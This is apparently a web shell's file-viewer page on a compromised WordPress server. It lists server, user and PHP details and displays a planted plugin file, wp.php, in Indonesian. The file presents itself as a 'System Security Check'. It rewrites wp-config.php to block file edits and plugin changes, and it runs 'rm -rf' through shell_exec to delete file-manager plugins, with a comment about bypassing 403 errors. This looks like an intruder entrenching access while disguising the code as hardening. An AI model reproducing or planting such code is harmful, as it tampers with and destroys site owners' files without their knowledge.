HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux acmehomecare 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: www-data (33)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/plugins/yteam/m/wp.php
<?php
echo "<h3>đŸ› ī¸ System Security Check</h3>";

$file = find_config();
if (!$file) exit("❌ wp-config.php tidak ditemukan!");

echo "📍 Target: <code>$file</code><br>";

harden_config($file);
clean_plugins(dirname($file));

function find_config() {
    $dir = __DIR__;
    while ($dir !== dirname($dir)) {
        if (file_exists("$dir/wp-config.php")) return "$dir/wp-config.php";
        $dir = dirname($dir);
    }
    return false;
}

function harden_config($path) {
    $data = @file_get_contents($path);
    if (!$data) { echo "❌ Gagal baca file!<br>"; return; }

    $rules = ["DISALLOW_FILE_EDIT", "DISALLOW_FILE_MODS"];
    $count = 0;

    foreach ($rules as $r) {
        if (strpos($data, $r) === false) {
            $data .= "\ndefine('$r', true);";
            $count++;
        }
    }

    if ($count > 0) {
        $res = @file_put_contents($path, $data);
        echo $res ? "✅ Hardening: <b>DONE</b> ($count added)<br>" : "❌ Hardening: <b>FAILED</b> (Permission?)<br>";
    } else {
        echo "â„šī¸ Status: Already Hardened<br>";
    }
}

function clean_plugins($root) {
    $p_dir = "$root/wp-content/plugins";
    $list = ['wp-file-manager', 'wpspy', 'file-manager-advanced'];

    foreach ($list as $p) {
        $target = "$p_dir/$p";
        if (is_dir($target)) {
            // Gunakan system delete agar lebih cepat & bypass 403
            @shell_exec("rm -rf " . escapeshellarg($target));
            echo (is_dir($target)) ? "❌ Gagal hapus: $p<br>" : "đŸ—‘ī¸ Plugin: <b>$p DONE</b><br>";
        }
    }
}
?>